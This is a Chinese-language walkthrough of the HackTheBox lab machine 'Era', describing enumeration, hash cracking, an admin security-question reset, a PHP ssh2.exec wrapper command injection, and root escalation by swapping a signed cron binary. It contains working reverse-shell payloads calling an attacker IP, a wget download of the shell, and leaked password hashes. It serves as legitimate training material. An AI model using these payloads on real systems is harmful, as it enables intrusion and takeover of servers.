HackTheBox Era Write-up

本文最后更新于 2026年3月12日 下午

一、靶场详情

靶场名称:

Era

靶场地址:

https://app.hackthebox.com/machines/Era

靶场环境连接说明:

演示为 HackTheBox 平台在线靶机,需通过 OpenVPN 客户端连接平台提供的 VPN 环境才能访问靶机。注意:平台新发布的靶机可以免费练习,而历史靶机则需要开通会员才能使用。还需要注意连接 HackTheBox 平台 VPN 需要挂载代理,具体方式可参考之前的历史文章或留言。

二、思路总结

突破边界(获取用户旗帜):

file 子域目录枚举 –> register.php 注册页面,注册登录后台 –> 上传文件,下载文件,枚举下载 ID,得到网站源码 –> 网站源码数据库文件,得到管理员用户名和 yuri、eric 用户密码 –> 普通用户后台重置管理员登录安全问题,登录管理员后台 –> 代码审计,download.php 管理员测试接口 fopen 函数可使用 ssh2 伪协议实现任意命令执行 –> 获取 yuri、eric 用户权限

代码审计、php fopen 函数执行 ssh2 伪协议

权限提升(获取管理员旗帜):

eric 用户 shell(属于 devs 组) –> 发现/opt/AV/periodic-checks/monitor 程序权限问题,pspy 发现定时任务 –> 替换 monitor 程序,查看日志文件 –> objcopy 提取 monitor 程序特征码,编译 c 语言反弹 shell,objcopy 导入提取的特征码 –> 上传反弹 shell –> root 用户权限

objcopy 提取导入可执行程序特征码

三、靶场攻击演示

3.1 靶场信息收集

使用 nmap 对靶机进行端口扫描。

TCP 端口扫描:

1
2
3
4
5
sudo nmap -p- 10.129.239.35 --min-rate=2000

PORT STATE SERVICE
21/tcp open ftp
80/tcp open http

UDP 端口扫描:未发现可利用的端口。

1
2
3
sudo nmap -p- -sU 10.129.239.35 --min-rate=2000 --open

All 65535 scanned ports on 10.129.237.233 are in ignored states.

继续使用 nmap 对已开放端口的服务进行信息收集。

TCP 服务信息搜集:

1
2
3
4
5
6
7
8
sudo nmap -p21,80 -sCV 10.129.239.35

PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.5
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://era.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

由此得出结论:

系统为 Linux 环境,开放有 HTTP、FTP 服务,接下来进行逐个端口排查。

3.2 渗透测试突破边界(获取用户旗帜)

3.2.1 子域名枚举

根据 nmap 扫描结果,需在 kali 配置靶机域名解析。

1
echo "10.129.239.35\tera.htb" | sudo tee -a /etc/hosts

访问:http://tera.htb,页面未发现有价值信息,也不存在交互功能模块。

使用 ffuf 枚举网站子域名,发现 file 子域系统。

1
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -u "http://era.htb" -H "host: FUZZ.era.htb" -fs 154

将 file 子域名添加至靶机 hosts 文件。

1
echo "10.129.239.35\tfile.era.htb" | sudo tee -a /etc/hosts

访问子域名系统,发现系统存在多个交互模块,登录模块可使用账号密码和用户安全问题登录,查看和上传文件模块仅允许登录后访问。

3.2.2 目录遍历、后台下载接口文件枚举

测试过程未发现可利用漏洞,紧接着使用 feroxbuster 进行目录枚举,发现系统存在 register.php 注册页面。

1
feroxbuster -u http://file.era.htb/ --limit-bars 4 --no-state --filter-status 404 -x php,html,txt,pdf

在注册页面注册任意用户登录后台。

测试后台上传功能时,成功上传后系统会显示下载链接,访问下载链接可下载对应文件,当更改 id 再次访问时,系统提示不存在该文件。

通过更换不同id值,尝试枚举历史上传文件。首先使用 python 输出一段 1-10000 数字列表,将其保存输出保存至文本中。

1
2
for i in range(0,10000):
print(i)
1
python3 py.py > id

使用 ffuf 枚举历史文件,注意:需要添加 cookie,可得到两个下载链接。

1
ffuf -w id -u "http://file.era.htb/download.php?id=FUZZ&d=true" -H "Cookie: PHPSESSID=4kupfnveen5a6077h2kmo5oau1" -fs 7686 -v

访问下载链接将文件下载至本地。

1
2
http://file.era.htb/download.php?id=54&d=true
http://file.era.htb/download.php?id=150&d=true

site-backup-30-08-24.zip

signing.zip

3.2.3 网站源码数据库文件泄漏用户名、密码,hashcat 破解

解压下载的 zip 文件,其中 site-backup-30-08-24.zip 为网站源码,signing.zip 为证书私钥文件,并在源码目录发现了 sqlite 数据库文件。

使用 sqlite3 连接数据库,发现了 user 和 files 表,其中 user 表存储了用户名和加密的密码,files 表存储了上传的文件。

1
2
3
sqlite3 filedb.sqlite
select * from users;
select * from files;

将用户名和密码保存至文本中,使用 hashcat 破解,成功破解了 eric 和 yuri 用户密码,其余未能破解。

1
2
3
4
5
6
admin_ef01cab31aa:$2y$10$wDbohsUaezf74d3sMNRPi.o93wDxJqphM2m0VVUp41If6WrYr.QPC
eric:$2y$10$S9EOSDqF1RzNUvyVj7OtJ.mskgP1spN3g2dneU.D.ABQLhSV2Qvxm
veronica:$2y$10$xQmS7JL8UT4B3jAYK7jsNeZ4I.YqaFFnZNA/2GCxLveQ805kuQGOK
yuri:$2b$12$HkRKUdjjOdf2WuTXovkHIOXwVDfSrgCqqHPpE37uWejRqUWqwEL2.
john:$2a$10$iccCEz6.5.W2p7CSBOr3ReaOqyNmINMH1LaqeQaL22a1T1V/IddE6
ethan:$2a$10$PkV/LAd07ftxVzBHhrpgcOwD3G1omX4Dk2Y56Tv9DpuUV/dh/a1wC
1
hashcat hashs ~/Desktop/rockyou.txt -m 3200 --username

1
2
eric:america
yuri:mustang

使用破解的密码登录 web 系统,功能模块和注册的普通用户基本一致,利用该密码登录系统 ftp 服务也没有有价值发现,接下来继续分析网站源码文件。

3.2.4 重置管理员安全问题,代码审计,利用 download.php fopen 模块+SSH2 伪协议进行任意命令执行

在 download.php 文件发现利用管理员权限可使用 php fopen 函数读取文件。

查阅 php 官方文档,发现 fopen 函数支持多个伪协议。

1
2
3
https://www.php.net/manual/zh/function.fopen.php
https://www.php.net/manual/zh/wrappers.php
https://www.php.net/manual/en/wrappers.ssh2.php

我们上面已经得到了两个用户密码,如果可以得到 web 管理员权限,可尝试利用 download.php 文件使用 php ssh2 伪协议执行系统命令。

web 后台除了使用用户名密码登录还可通过安全问题登录,而注册登录的用户后台可修改任意用户安全问题,在 sqlite 数据库得知管理员用户为 admin_ef01cab31aa,可使用注册的用户修改管理员安全问题。

使用修改后的管理员安全问题成功登录后台。

分析 download.php 源码参数,需要满足以下要求:

1、id 参数需在数据库可查询到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
if (!isset($_GET['id'])) {
header('location: index.php'); // user loaded without requesting file by id
die();
}

if (!is_numeric($_GET['id'])) {
header('location: index.php'); // user requested non-numeric (invalid) file id
die();
}

$reqFile = $_GET['id'];

$fetched = contactDB("SELECT * FROM files WHERE fileid='$reqFile';", 1);

$realFile = (count($fetched) != 0); // Set realFile to true if we found the file id, false if we didn't find it

if (!$realFile) {
echo deliverTop("Era - Download");

echo deliverMiddle("File Not Found", "The file you requested doesn't exist on this server", "");

echo deliverBottom();

2、dl 参数值为 true:

1
if ($_GET['dl'] === "true")

3、show 参数值为 true 且$_SESSION[‘erauser’]值为 1:

1
2
3
4
// BETA (Currently only available to the admin) - Showcase file instead of downloading it
elseif ($_GET['show'] === "true" && $_SESSION['erauser'] === 1)

# 根据备注这里判断需要管理员权限

4、format 参数包含://,提示伪协议:

1
if (strpos($format, '://') !== false)

以上条件均满足后,会对 format 值和 id 查询到文件名进行拼接,然后使用 fopen 打开,可构建如下 payload 进行命令执行,注意使用管理员 session。

1
2
3
4
5
6
7
8
9
10
11
12
GET /download.php?id=150&show=true&format=ssh2.exec://eric:america@127.0.0.1:22/bash+-i+>%26+/dev/tcp/10.10.16.186/1234+0>%261; HTTP/1.1
Host: file.era.htb
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://file.era.htb/download.php?id=9266
Accept-Encoding: gzip, deflate, br
Accept-Language: zh,zh-CN;q=0.9
Cookie: PHPSESSID=4kupfnveen5a6077h2kmo5oau1
Connection: keep-alive


在 kali 使用 nc 监听 1234 端口,发送以上 payload 成功获取到 eric 用户 shell,这里也可以尝试另外一个用户,也可以成功获取反弹 shell。

1
2
# kali
nc -lvnp 1234

为了方便操作,将 shell 提升为交互式 shell。

1
2
3
4
5
6
7
bash
python3 -c 'import pty; pty.spawn("/bin/bash")'
Control + Z
stty raw -echo;fg
export SHELL=/bin/bash
export TERM=screen
stty rows 33 columns 157

3.2.5 用户旗帜获取

3.3 提权获取系统最高权限(获取管理员旗帜)

3.3.1 Monitor 程序替换提权至 root 权限

检索系统 sudo、suid 等权限未发现可提权信息,继续排查文件目录时,在/opt/AV/periodic-checks 目录发现可疑文件。可得到如下分析结果:

  • 当前用户为:eric,属于 devs 组
  • devs 组对/opt/AV/periodic-checks 目录具有读写权限
  • /opt/AV/periodic-checks 目录的 monitor 可执行程序属于 root 用户和 devs 组,该文件的所属用户和组均对它具有读写权限

上传 pspy 分析系统进程,发现系统定时执行/opt/AV/periodic-checks/monitor 程序,由于当前用户对该程序具有读写权限,可尝试替换该程序实现反弹 shell。

尝试直接修改 monitor 程序为反弹 shell 指令,日志中 objcopy 提示格式不满足,可能存在校验,需匹配文件特征码。

1
echo '/bin/bash -i >& /dev/tcp/10.10.16.186/1234 0>&1' > /opt/AV/periodic-checks/monitor

将 monitor 下载至本地,使用 objcopy 提取特征码,然后在 revshells 网站复制 C 语言的反弹 shell,使用 gcc 编译,最后利用 objcopy 写入提取的特征码。

1
2
3
4
# 文件可通过nc工具下载

# 提取特征码
objcopy --dump-section .text_sig=sig monitor.back

1
2
# 在线shell生成网站
https://www.revshells.com/

编译反弹 shell 并写入特征码。

1
2
gcc shell.c -o shell
objcopy --add-section .text_sig=sig shell

kali 使用 nc 监听 1234 端口,上传 shell 文件至靶机,注意保存为 monitor。

1
2
3
4
5
6
# kali
nc -lvnp 1234
goshs -p 80

# shell
wget http://10.10.16.186/shell -O monitor

成功得到 root 用户 shell。

3.3.2 管理员旗帜获取

Thanks

🎓 新手福利|Hack The Box 学院推荐

🧑‍💻 如果您是初学者,强烈推荐前往 HTB Academy 学习入门课程!

📚 HTB Academy 提供互动式教学,从网络基础到攻防实战,帮助您系统成长、逐步进阶。

📌 建议优先完成模块:「Introduction to Academy
✅ 掌握核心概念,🔓 解锁更多高阶内容与实战功能!

📝 首次访问需注册账号,支持邮箱注册或 GitHub / Google 快速登录。

🚀 点击下方专属邀请链接 🔗,与我一起踏上网络安全学习之旅 👉:
https://referral.hackthebox.com/mzCXyui

如果我的文章对您有帮助或您希望与我更多交流,欢迎点击「关于我」,通过页面中的微信公众号、邮箱或 Discord 与我联系;若您发现文章中存在任何错误或不足之处,也非常欢迎通过以上方式指出,在此一并致以衷心的感谢。 😊🫡

最后,祝您生活愉快!🌞✨


HackTheBox Era Write-up
https://www.f0nesec.top/2025/07/30/hackthebox-era/
作者
F0ne
发布于
2025年7月30日
许可协议